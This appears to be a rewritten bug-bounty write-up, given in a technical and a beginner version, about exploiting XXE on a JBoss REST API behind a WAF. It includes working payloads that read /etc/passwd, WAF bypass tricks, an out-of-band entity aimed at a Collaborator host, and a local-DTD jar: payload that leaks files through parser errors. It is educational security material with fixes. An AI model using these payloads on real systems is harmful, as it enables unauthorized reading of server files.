Spilling Local Files via XXE when HTTP OOB fails
Published on blog.noob.ninja
Today I will be sharing a very interesting technique of exploiting an XXE which was discovered from what I know by https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/ and later researched on it by GoSecure Team. The scenario was reading out Local Files on the server when HTTP Out of Band was not allowed &…
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
The target was a web application that exposed a REST API returning JSON at each endpoint. The application server behind it was JBoss, and the whole stack sat behind a cloud based WAF. The write-up does not name the program or the application itself; the only asset recorded is the researcher's blog where the technique was published.
The feature that mattered was the XML parser reachable through the API. The application normally consumed JSON, but it would also attempt to parse XML when it was handed XML, and when parsing failed it returned verbose error messages that disclosed the application server and other internal details. Those verbose errors are the channel the whole exploitation relies on, because the file contents never appear in a normal, successful response.
The technique itself is the local DTD approach to XXE: instead of hosting an attacker controlled DTD and pulling it over the network, you reuse a DTD that already exists on the target's filesystem, overwrite one of its parameter entities, and let the parser do the rest. It was originally described by the author of mohemiv.com and later researched by the GoSecure team, and it is the answer to the situation where HTTP out of band does not work and only DNS requests get out, but the application returns verbose XML parsing errors.
Setup
The researcher worked from Burp Suite, replaying captured API requests and changing their content type and body. No accounts, roles or credentials are described in the report.
The local reproduction used a specific version of the JBoss Docker image. The container was exported to a filesystem and scanned with GoSecure's dtd-finder tool, version 1.0-all, to find DTDs containing injectable entities.
$ docker export {container} -o jboss.tar
$ java -jar dtd-finder-1.0-all.jar jboss.tar
The first command exports the running container's filesystem into jboss.tar; the second feeds that archive to dtd-finder, which looks for DTD files whose parameter entities can be overwritten. The tool reported DTDs with injectable entities inside jar and zip files of the JBoss container's filesystem.

The screenshot shows the output of dtd-finder-1.0-all.jar against the exported JBoss filesystem.
Finding it
While browsing the application through Burp, the researcher noticed that every endpoint used a REST API over JSON. Changing the Content-Type to application/xml and replaying one of the requests produced a verbose error: the application revealed that it ran on JBoss and leaked other error details. The error made clear that the application expected to parse XML and had been given JSON instead. Converting the JSON body to the corresponding XML was the next step.
Exploitation
Step 1: getting past the WAF's XML declaration rule
The cloud WAF in front of the server returned forbidden when the XML declaration was used. Dropping the declaration and sending the XML body directly was enough:
<root>
<id>..</id>
<name>..</name>
</root>
The application accepted this request and it succeeded.
Step 2: the simplest XXE, and a second WAF rule
The first XXE payload tried to read /etc/passwd with a general entity:
<!DOCTYPE a[
<!ENTITY x SYSTEM "file:///etc/passwd">
]>
<root>
<id>1</id>
<name>&x;</name>
</root>
This triggered the WAF again. The bypass was a single space before the protocol in the system identifier, so the value became " file:///etc/passwd", and the WAF let it through.
Step 3: the application validates what comes back
Even with the payload accepted, the application validated all the data passed to it. It did not accept the contents of /etc/passwd inside name or any other element, and only allowed more or less [a-zA-Z0-9]. Reading a non-existent file, or a file such as /etc/shadow, produced a permission denied or another verbose error, but not the file contents.
So the XXE was confirmed, and the researcher could tell whether a file existed and could be accessed, but could not get its contents into the response.
Step 4: out of band, and its limits
To skip the validation problem, the next attempt was an out of band XXE using parameter entities, since the application server was Java. Burp Collaborator was used as the listener:
<!DOCTYPE a[
<!ENTITY % x SYSTEM " http://something.burpcollaborator.net"> %x;
]>
<root>
<id>1</id>
<name>test</name>
</root>
HTTP out of band was not allowed. The report does not say which outbound channels, if any, did work at this stage beyond noting that only DNS requests reached in the scenario being addressed.
Step 5: out of band through a whitelisted subdomain
Over a week later the researcher had found an RCE on one of the subdomains. Out of curiosity, an evil DTD file was hosted there and used to read /etc/passwd through the XXE, relying on the verbose server error messages to reflect the file contents in the response, following the technique described by Netspi. It worked, possibly because the subdomain was whitelisted for outbound connections.
The company paid a small bonus and asked for the XXE to be exploited without using the already reported RCE, for the full reward.
Step 6: the local DTD technique
For a long time this could not be exploited. Then the h3xstream article on automating local DTD discovery for XXE appeared. It lists a few common DTDs that may already be present on a system and explains how to use them for file reads by overwriting or substituting the entities already inside them. None of the DTDs listed in that article existed on the target server.
The principle, as summarised in the report: if a DTD file already exists somewhere on the target's filesystem and contains a parameter entity such as <!ENTITY % injectable "something"> that is summoned somewhere in that same DTD, for example <!ENTITY % random (%injectable;)>, then that entity's contents can be overwritten with whatever would otherwise go into an external evil.dtd in the out of band technique.
If a legitimate DTD exists on the server at /usr/share/xyz/legit.dtd:
..
<!ENTITY % injectable "something">
..
<!ENTITY % random (%injectable;)>
..
..
and the following is added to the XXE:
<!DOCTYPE xxe[
<!ENTITY x SYSTEM "file:///usr/share/xyz/legit.dtd">
<!ENTITY % injectable 'injecting)> You Control Contents inside this DTD now!!! <!ENTITY % fake ('>
%x;
]>
<root>
..
</root>
then the parsed XML content changes from
<!ENTITY % random (%injectable;)>
to
<!ENTITY % random (injecting)> You Control Contents inside this DTD now!!! <!ENTITY % fake ()>
The overwritten entity closes the surrounding construct and opens a new one, so the attacker controls what the DTD contains from that point on.
Step 7: finding a usable DTD on the target
dtd-finder discovered DTDs with injectable entities inside jar and zip files of the JBoss Docker container's filesystem. One of them was the following archive:
/modules/system/layers/base/org/jboss/security/xacml/main/jbossxacml-x.x.x.Final-redhat-x.jar
Inside it was /schema/xmlschema/XMLSchema.dtd, which contained an injectable entity named xs-datatypes. The relevant part of XMLSchema.dtd is:
....
<!ENTITY % xs-datatypes PUBLIC 'datatypes' 'datatypes.dtd' >
....
%xs-datatypes; <!-- Here We can overwrite parameter Entity % xs-datatypes and our content would be then passed & parsed here-->
...
....
Because %xs-datatypes; is summoned in the DTD itself, overwriting the entity means the injected content is parsed at that point. The entity to define in the XXE payload, overriding the one in XMLSchema.dtd, is:
<!ENTITY % xs-datatypes '<!ENTITY % file SYSTEM " file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM ' file:///abcxyz/%file;'>">
%eval;
%error;
'>
The hex escapes build the nested entity declarations that the parser will evaluate: % is %, & is &, ' is '. The file entity reads /etc/passwd; the eval entity declares an error entity whose system identifier is a path under file:///abcxyz/ with the contents of file appended; evaluating error makes the parser try to resolve that path, and the resulting error message carries the file contents.
Step 8: reading the DTD out of the jar
The application was Java based, so the jar protocol could be used to read files inside archives such as jar and zip files, for example jar:file://var/www/html/test.zip!/test.txt where test.txt is a file inside test.zip.
Working on the local environment first, the researcher confirmed that the particular jar file also existed on the application, and it did. The final payload reads XMLSchema.dtd inside jbossxacml-x.x.x.Final-redhat-x.jar using the jar protocol and then creates the xs-datatypes entity to overwrite the contents:
<!DOCTYPE root [
<!ENTITY % x SYSTEM
"jar:file:///jboss-as/modules/system/layers/base/org/jboss/security/xacml/main/jbossxacml-x.x.x.Final-redhat-x.jar!/schema/xmlschema/XMLSchema.dtd">
<!ENTITY % xs-datatypes ' <!ENTITY % file SYSTEM " file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM ' file:///abcxyz/%file;'>">
%eval;
%error;
'>
%x;
]>
<root>
<id>..</id>
<name>test</name>
</root>
%x; loads the DTD from inside the jar; the redefined xs-datatypes replaces the entity that XMLSchema.dtd summons; the nested file, eval and error entities do the file read and force the parser error. The contents of /etc/passwd came back in the error message in the HTTP response.

The screenshot shows the full HTTP response with the XXE result via the local DTD technique reflected in the exception.
Root cause
The application parsed attacker supplied XML with a parser that resolved external entities, including parameter entities and external DTDs, and it allowed local files and the jar protocol to be referenced. The jar protocol support of the Java parser extended this to files inside archives on the server. The verbose error handling reflected the failing system identifier in the response, which is what made the file contents readable even though the application validated the element values and only allowed [a-zA-Z0-9] there.
The WAF blocked the XML declaration and the payloads, but removing the declaration and adding a space before the protocol got past it. The application level validation of element contents was irrelevant to the local DTD technique, because the data never had to pass through an element: it left through the parser's error message.
Impact
An attacker who can reach the XML parsing endpoint can read local files on the server, subject to the parser's privileges, and receive their contents in HTTP responses through the verbose error messages. In this case the researcher demonstrated reading /etc/passwd. The technique requires a DTD with an injectable parameter entity to exist on the target filesystem, which is why the JBoss image was exported and scanned; the report notes that the common DTDs from the referenced article did not exist on this server. It also requires the parser to support the protocol used to reach that DTD, here jar on a Java application server.
Fix
Disable external entity and external DTD processing in the XML parser, and restrict the protocols the parser may use, so that file and jar system identifiers are rejected. Stop returning verbose parser errors to clients, since the error channel is what made the file contents readable. On the WAF side, the rules that were bypassed here (the XML declaration block and the literal file:// match) should not be relied on as the only control.
Variants to test
- Change the
Content-Typeof a JSON endpoint toapplication/xmland send the JSON body converted to XML. A positive result is a verbose parser error naming the application server or other internal details. - Send an XML body without the XML declaration. A positive result is that the request succeeds where the declaration was blocked.
- Send a basic external entity reading
/etc/passwd, then repeat with a space before the protocol. A positive result is that the second form passes a WAF that blocked the first. - Send a parameter entity pointing at a Burp Collaborator host. A positive result is an HTTP interaction, which tells you whether HTTP out of band is available.
- Export the target's container image, run
dtd-finderon it, and look for DTDs with injectable parameter entities inside jar or zip files. A positive result is a DTD whose entity is summoned within the same file. - On a Java target, reference such a DTD with the
jar:file://...!/...protocol and redefine its injectable entity with the nestedfile,evalanderrorentities. A positive result is the file contents appearing in the parser error in the HTTP response.
What happened, in plain words
A security researcher found a way to make a web application hand over files that live on its own server, files that a normal visitor should never be able to see. The interesting part is that the usual trick for this kind of attack did not work here, so the researcher had to use a cleverer version that reuses a file already sitting on the server.
To follow the story you only need a few ideas. A web application is a program you use through your browser: you click, type, and it responds. Behind the scenes, your browser sends requests to a server, and the server sends answers back. An API (Application Programming Interface) is the part of a web application that is built to be talked to by other software rather than by a human clicking buttons. Think of it as the service counter at the back of a shop: you hand over a written order, and you get back a neatly packed result. Many modern web pages are really just a thin layer that talks to such an API.
When two pieces of software exchange data, they need to agree on a format. JSON is one such format: a way of writing structured data as text, using curly braces, quotes and colons. XML is another, older format that uses angle brackets and tags, a bit like HTML. A parser is the piece of software that reads such text and turns it into something the program can work with. If you hand a parser text it does not expect, it usually complains, and that complaint is called an error message.
Some error messages are verbose, meaning they say a lot: which software is running, which file it was looking at, and why it failed. Verbose errors are helpful to developers and dangerous in production, because they can reveal things outsiders should not know.
The vulnerability class here is XXE, short for XML External Entity. XML has a feature called entities: you can define a shortcut name, and wherever that name appears, the parser replaces it with something else. An external entity is one whose replacement comes from outside the document, for example from a file on the server. If an application lets an attacker define such an entity, the attacker can make the server read a file and put its contents where the entity was used. That is XXE in one sentence.
A DTD (Document Type Definition) is a file or block that describes the rules of an XML document and can also declare entities. Out of band (OOB) means the attacker does not get the stolen data back in the normal response, but through a separate channel, for example by making the server connect to a machine the attacker controls. A WAF (Web Application Firewall) is a filter that sits in front of a web application and blocks requests that look malicious, a bit like a bouncer at a door who checks a list before letting anyone in.
With those ideas in place, here is the story.
The setup
The target was a web application whose API spoke JSON at every endpoint. An endpoint is simply one address of the API, one specific service counter. Behind the application sat JBoss, an application server, which is software that runs web applications. In front of everything sat a cloud based WAF.
The researcher worked from Burp Suite, a tool that lets you watch and replay the requests your browser sends. Think of it as a recording device for web traffic that also lets you edit a recording and play it again. No accounts, roles or credentials are described in the report.
To study the target safely, the researcher reproduced it locally. The target ran inside a Docker container, which is a packaged, self contained environment holding an application and everything it needs. A container can be exported to a plain archive of files, like unpacking a suitcase onto a table. The researcher used a specific version of the JBoss image, exported it, and scanned the resulting files with a tool called dtd-finder from the GoSecure team, version 1.0-all. The tool looks for DTD files whose entities can be overwritten.
$ docker export {container} -o jboss.tar
$ java -jar dtd-finder-1.0-all.jar jboss.tar
Line by line:
docker export {container} -o jboss.tartakes the container named{container}and writes its whole filesystem into a file calledjboss.tar. The-omeans output.java -jar dtd-finder-1.0-all.jar jboss.tarruns thedtd-finderprogram, which is distributed as a jar file (a Java archive, a zip like package containing Java software), and hands itjboss.taras input.
The tool reported DTDs with overwritable entities inside jar and zip files of the JBoss container's filesystem.

The screenshot shows the output of dtd-finder-1.0-all.jar against the exported JBoss filesystem.
Finding it
While browsing the application through Burp, the researcher noticed that every endpoint used a REST API over JSON. REST is just a style of designing APIs around simple requests to addresses. The next step was to change the Content-Type header to application/xml and replay one of the requests. A header is a small piece of metadata attached to a request, like the label on a parcel telling the recipient what is inside. Content-Type says which format the body uses.
The application answered with a verbose error: it revealed that it ran on JBoss and leaked other error details. The error made clear that the application expected to parse XML and had been given JSON instead. That is a strong hint: if the application tries to parse XML, maybe it can be made to parse XML that the researcher controls. Converting the JSON body to the corresponding XML was the next step.
Exploitation
Step 1: getting past the WAF's XML declaration rule
An XML document often starts with a declaration, a line that announces the XML version. The cloud WAF in front of the server returned forbidden when the declaration was used. Dropping the declaration and sending the XML body directly was enough:
<root>
<id>..</id>
<name>..</name>
</root>
Line by line:
<root>opens an outer tag calledroot. Tags are the labelled brackets that structure XML.<id>..</id>is an element namedidwith placeholder content...<name>..</name>is an element namedname, again with placeholder content.</root>closes the outer tag.
The application accepted this request and it succeeded. The lesson: the WAF was only looking for the declaration, not for XML itself.
Step 2: the simplest XXE, and a second WAF rule
The first XXE payload tried to read /etc/passwd with a general entity. /etc/passwd is a classic file on Unix like systems that lists user accounts; it is a common proof that a server can be made to read local files. A general entity is one you reference in the body of the document with &name;.
<!DOCTYPE a[
<!ENTITY x SYSTEM "file:///etc/passwd">
]>
<root>
<id>1</id>
<name>&x;</name>
</root>
Line by line:
<!DOCTYPE a[starts a DTD block nameda. The square bracket opens the list of declarations inside it.<!ENTITY x SYSTEM "file:///etc/passwd">declares an entity calledx.SYSTEMmeans the content comes from an external location, here the file/etc/passwdaddressed with thefile://scheme.]>closes the DTD block.- The
<root>block is the normal document body. <name>&x;</name>uses the entity: wherever&x;appears, the parser substitutes the file contents.
This triggered the WAF again. The bypass was a single space before the protocol in the system identifier, so the value became " file:///etc/passwd", and the WAF let it through. A leading space got past the WAF while the parser still understood the address.
Step 3: the application validates what comes back
Even with the payload accepted, the application validated all the data passed to it. It did not accept the contents of /etc/passwd inside name or any other element, and only allowed more or less [a-zA-Z0-9]. That notation describes a set of characters: lowercase letters, uppercase letters and digits, nothing else. The contents of /etc/passwd contain colons, slashes and other symbols, so they were rejected.
Reading a non-existent file, or a file such as /etc/shadow (another account related file that ordinary users usually cannot read), produced a permission denied or another verbose error, but not the file contents.
So the XXE was confirmed, and the researcher could tell whether a file existed and could be accessed, but could not get its contents into the response. This is a partial win: the door is open, but the parcel is being checked at the exit.
Step 4: out of band, and its limits
To skip the validation problem, the next attempt was an out of band XXE using parameter entities, since the application server was Java. A parameter entity is like a general entity but is used inside the DTD itself, referenced with %name; rather than &name;. Burp Collaborator was used as the listener: a service that gives you a unique address and records any connection made to it, so you can see whether the target reached out.
<!DOCTYPE a[
<!ENTITY % x SYSTEM " http://something.burpcollaborator.net"> %x;
]>
<root>
<id>1</id>
<name>test</name>
</root>
Line by line:
<!DOCTYPE a[opens a DTD block nameda.<!ENTITY % x SYSTEM " http://something.burpcollaborator.net">declares a parameter entityxwhose content is fetched from the given address. Note the space beforehttp, the same WAF trick as before.%x;uses the parameter entity inside the DTD, which makes the parser fetch that address.]>closes the DTD block, and the body follows.
HTTP out of band was not allowed. The report does not say which outbound channels, if any, did work at this stage beyond noting that only DNS requests reached in the scenario being addressed. DNS is the system that turns names like example.com into addresses; a DNS request is a lookup, a small question sent to a name server.
Step 5: out of band through a whitelisted subdomain
Over a week later the researcher had found an RCE on one of the subdomains. RCE stands for remote code execution: the ability to make the server run commands of your choosing, which is a very serious finding. A subdomain is a smaller address under the main domain, like a side entrance of the same building. Whitelisted means explicitly allowed by a filter.
Out of curiosity, an evil DTD file was hosted there and used to read /etc/passwd through the XXE, relying on the verbose server error messages to reflect the file contents in the response, following the technique described by Netspi. It worked, possibly because the subdomain was whitelisted for outbound connections. In other words, the server was allowed to talk to that particular address, so the researcher put the malicious DTD there and let the server fetch it.
The company paid a small bonus and asked for the XXE to be exploited without using the already reported RCE, for the full reward. That is a fair request: the RCE was a separate bug, and using it to make the XXE work would mix two findings together.
Step 6: the local DTD technique
For a long time this could not be exploited. Then the h3xstream article on automating local DTD discovery for XXE appeared. It lists a few common DTDs that may already be present on a system and explains how to use them for file reads by overwriting or substituting the entities already inside them. None of the DTDs listed in that article existed on the target server.
The principle, as summarised in the report: if a DTD file already exists somewhere on the target's filesystem and contains a parameter entity such as <!ENTITY % injectable "something"> that is summoned somewhere in that same DTD, for example <!ENTITY % random (%injectable;)>, then that entity's contents can be overwritten with whatever would otherwise go into an external evil.dtd in the out of band technique.
Why does that matter? In the out of band technique you need the server to fetch a DTD from somewhere you control. If that is blocked, you can instead reuse a DTD that is already on the server, and simply change one of its parts. It is like finding a printed form in the office and filling in a different value in one field, instead of bringing your own form from home.
If a legitimate DTD exists on the server at /usr/share/xyz/legit.dtd:
..
<!ENTITY % injectable "something">
..
<!ENTITY % random (%injectable;)>
..
..
Line by line:
..lines are placeholders for other content in the file.<!ENTITY % injectable "something">declares a parameter entity calledinjectablewith the valuesomething.<!ENTITY % random (%injectable;)>declares another parameter entity,random, whose value is built frominjectable. Becauseinjectableis used here, whateverinjectablecontains ends up insiderandom.
and the following is added to the XXE:
<!DOCTYPE xxe[
<!ENTITY x SYSTEM "file:///usr/share/xyz/legit.dtd">
<!ENTITY % injectable 'injecting)> You Control Contents inside this DTD now!!! <!ENTITY % fake ('>
%x;
]>
<root>
..
</root>
Line by line:
<!DOCTYPE xxe[opens a DTD block namedxxe.<!ENTITY x SYSTEM "file:///usr/share/xyz/legit.dtd">declares an entityxthat loads the legitimate DTD from disk.<!ENTITY % injectable '...'>redefines the parameter entityinjectablewith new text. The text is carefully crafted: it contains)>to close the surrounding construct, then some text, then<!ENTITY % fake (to open a new one.%x;loads the legitimate DTD, which then uses the redefinedinjectable.- The body follows.
then the parsed XML content changes from
<!ENTITY % random (%injectable;)>
to
<!ENTITY % random (injecting)> You Control Contents inside this DTD now!!! <!ENTITY % fake ()
Read the second line carefully: the ) after injecting closes the random declaration early, the text in the middle is now plain content, and <!ENTITY % fake ( starts a new declaration. The overwritten entity closes the surrounding construct and opens a new one, so the attacker controls what the DTD contains from that point on. This is the heart of the technique: you are not adding a new file, you are editing one that is already trusted.
Step 7: finding a usable DTD on the target
dtd-finder discovered DTDs with injectable entities inside jar and zip files of the JBoss Docker container's filesystem. One of them was the following archive:
/modules/system/layers/base/org/jboss/security/xacml/main/jbossxacml-x.x.x.Final-redhat-x.jar
This is a path on the server. The x.x.x and x are placeholders for version numbers. Inside it was /schema/xmlschema/XMLSchema.dtd, which contained an injectable entity named xs-datatypes. The relevant part of XMLSchema.dtd is:
....
<!ENTITY % xs-datatypes PUBLIC 'datatypes' 'datatypes.dtd' >
....
%xs-datatypes; <!-- Here We can overwrite parameter Entity % xs-datatypes and our content would be then passed & parsed here-->
...
....
Line by line:
....lines are placeholders for other content.<!ENTITY % xs-datatypes PUBLIC 'datatypes' 'datatypes.dtd' >declares a parameter entityxs-datatypes.PUBLICis another way of pointing at external content, here with a public name and a locationdatatypes.dtd.%xs-datatypes;uses the entity inside the DTD. The comment after it, written by the researcher, notes that this is exactly where overwritten content would be parsed.
Because %xs-datatypes; is summoned in the DTD itself, overwriting the entity means the injected content is parsed at that point. The entity to define in the XXE payload, overriding the one in XMLSchema.dtd, is:
<!ENTITY % xs-datatypes '<!ENTITY % file SYSTEM " file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM ' file:///abcxyz/%file;'>">
%eval;
%error;
'>
Line by line:
<!ENTITY % xs-datatypes '...'>redefines the entityxs-datatypeswith the text between the single quotes.<!ENTITY % file SYSTEM " file:///etc/passwd">is inside that text.%is a character reference for%, so the parser sees<!ENTITY % file SYSTEM " file:///etc/passwd">: a declaration of a parameter entityfilethat reads/etc/passwd. The space beforefile://is the WAF bypass again.<!ENTITY % eval "...">declares a parameter entityeval. Inside its double quoted value,&is&and'is', so the parser sees a nested declaration of an entityerrorwhose system identifier isfile:///abcxyz/followed by the contents offile.%eval;useseval, which builds theerrordeclaration.%error;useserror, which makes the parser try to resolve a path that contains the file contents.
The hex escapes build the nested entity declarations that the parser will evaluate: % is %, & is &, ' is '. The file entity reads /etc/passwd; the eval entity declares an error entity whose system identifier is a path under file:///abcxyz/ with the contents of file appended; evaluating error makes the parser try to resolve that path, and the resulting error message carries the file contents. The resulting error message carries the file contents.
Step 8: reading the DTD out of the jar
The application was Java based, so the jar protocol could be used to read files inside archives such as jar and zip files, for example jar:file://var/www/html/test.zip!/test.txt where test.txt is a file inside test.zip. A protocol here is the prefix that tells the parser how to fetch something: file means a local file, http means the network, jar means inside an archive. The !/ separates the archive from the file inside it.
Working on the local environment first, the researcher confirmed that the particular jar file also existed on the application, and it did. The final payload reads XMLSchema.dtd inside jbossxacml-x.x.x.Final-redhat-x.jar using the jar protocol and then creates the xs-datatypes entity to overwrite the contents:
<!DOCTYPE root [
<!ENTITY % x SYSTEM
"jar:file:///jboss-as/modules/system/layers/base/org/jboss/security/xacml/main/jbossxacml-x.x.x.Final-redhat-x.jar!/schema/xmlschema/XMLSchema.dtd">
<!ENTITY % xs-datatypes ' <!ENTITY % file SYSTEM " file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM ' file:///abcxyz/%file;'>">
%eval;
%error;
'>
%x;
]>
<root>
<id>..</id>
<name>test</name>
</root>
Line by line:
<!DOCTYPE root [opens a DTD block for the document whose outer tag isroot.<!ENTITY % x SYSTEM "jar:file:///...XMLSchema.dtd">declares a parameter entityxthat loadsXMLSchema.dtdfrom inside the jar archive, using thejarprotocol.<!ENTITY % xs-datatypes '...'>redefinesxs-datatypeswith the nestedfile,evalanderrordeclarations, exactly as in Step 7.%x;loads the DTD from inside the jar; the redefinedxs-datatypesreplaces the entity thatXMLSchema.dtdsummons; the nestedfile,evalanderrorentities do the file read and force the parser error.- The
<root>body follows, withtestin thenameelement. The body does not need to carry the stolen data, because the data leaves through the error.
The contents of /etc/passwd came back in the error message in the HTTP response.

The screenshot shows the full HTTP response with the XXE result via the local DTD technique reflected in the exception.
Root cause
The application parsed attacker supplied XML with a parser that resolved external entities, including parameter entities and external DTDs, and it did not restrict which protocols or local files could be referenced. The jar protocol support of the Java parser extended this to files inside archives on the server. The verbose error handling reflected the failing system identifier in the response, which is what made the file contents readable even though the application validated the element values and only allowed [a-zA-Z0-9] there.
The WAF blocked the XML declaration and the payloads, but removing the declaration and adding a space before the protocol got past it. The application level validation of element contents was irrelevant to the local DTD technique, because the data never had to pass through an element: it left through the parser's error message.
Impact
An attacker who can reach the XML parsing endpoint can read local files on the server, subject to the parser's privileges, and receive their contents in HTTP responses through the verbose error messages. In this case the researcher demonstrated reading /etc/passwd. The technique requires a DTD with an injectable parameter entity to exist on the target filesystem, which is why the JBoss image was exported and scanned; the report notes that the common DTDs from the referenced article did not exist on this server. It also requires the parser to support the protocol used to reach that DTD, here jar on a Java application server. The report does not describe any further impact beyond local file disclosure.
Fix
Disable external entity and external DTD processing in the XML parser, and restrict the protocols the parser may use, so that file and jar system identifiers are rejected. Stop returning verbose parser errors to clients, since the error channel is what made the file contents readable. On the WAF side, the rules that were bypassed here (the XML declaration block and the literal file:// match) should not be relied on as the only control.
Variants to test
- Change the
Content-Typeof a JSON endpoint toapplication/xmland send the JSON body converted to XML. A positive result is a verbose parser error naming the application server or other internal details. - Send an XML body without the XML declaration. A positive result is that the request succeeds where the declaration was blocked.
- Send a basic external entity reading
/etc/passwd, then repeat with a space before the protocol. A positive result is that the second form passes a WAF that blocked the first. - Send a parameter entity pointing at a Burp Collaborator host. A positive result is an HTTP interaction, which tells you whether HTTP out of band is available.
- Export the target's container image, run
dtd-finderon it, and look for DTDs with injectable parameter entities inside jar or zip files. A positive result is a DTD whose entity is summoned within the same file. - On a Java target, reference such a DTD with the
jar:file://...!/...protocol and redefine its injectable entity with the nestedfile,evalanderrorentities. A positive result is the file contents appearing in the parser error in the HTTP response.
Glossary
- API: the part of a web application built to be talked to by other software, exchanging structured requests and responses.
- Burp Collaborator: a service that gives you a unique address and records any connection made to it, used to detect out of band traffic.
- Burp Suite: a tool for watching, editing and replaying the requests a browser sends.
- Container: a packaged, self contained environment holding an application and everything it needs to run.
- Content-Type: a request or response header that says which format the body uses.
- DNS: the system that turns names like
example.cominto addresses; a DNS request is a lookup. - Docker: software for building and running containers.
- DTD: Document Type Definition, a file or block that describes the rules of an XML document and can declare entities.
- Endpoint: one specific address of an API.
- Entity: a named shortcut in XML that the parser replaces with other content; general entities are used with
&name;, parameter entities with%name;. - Header: small metadata attached to a request or response, such as
Content-Type. - HTTP: the protocol browsers and servers use to exchange requests and responses.
- Impact: what an attacker can actually do once a vulnerability is exploited.
- Jar: a Java archive, a zip like package containing Java software and other files.
- Java: a programming language and runtime, common on application servers.
- JBoss: an application server, software that runs web applications.
- JSON: a text format for structured data using curly braces, quotes and colons.
- Out of band (OOB): getting stolen data back through a separate channel rather than the normal response.
- Parser: software that reads structured text such as XML and turns it into something a program can use.
- Protocol: the prefix that tells a parser how to fetch something, such as
file,httporjar. - RCE: remote code execution, the ability to make a server run commands of your choosing.
- REST: a style of designing APIs around simple requests to addresses.
- Root cause: the underlying reason a vulnerability exists.
- Subdomain: a smaller address under a main domain, like a side entrance of the same building.
- System identifier: the location given to an external entity, such as
file:///etc/passwd. - Verbose error: an error message that reveals internal details such as software names, paths or file contents.
- WAF: Web Application Firewall, a filter in front of a web application that blocks requests that look malicious.
- Whitelisted: explicitly allowed by a filter.
- XML: a text format for structured data using angle brackets and tags.
- XXE: XML External Entity, a vulnerability where an application lets an attacker define external entities, making the server read files or make requests.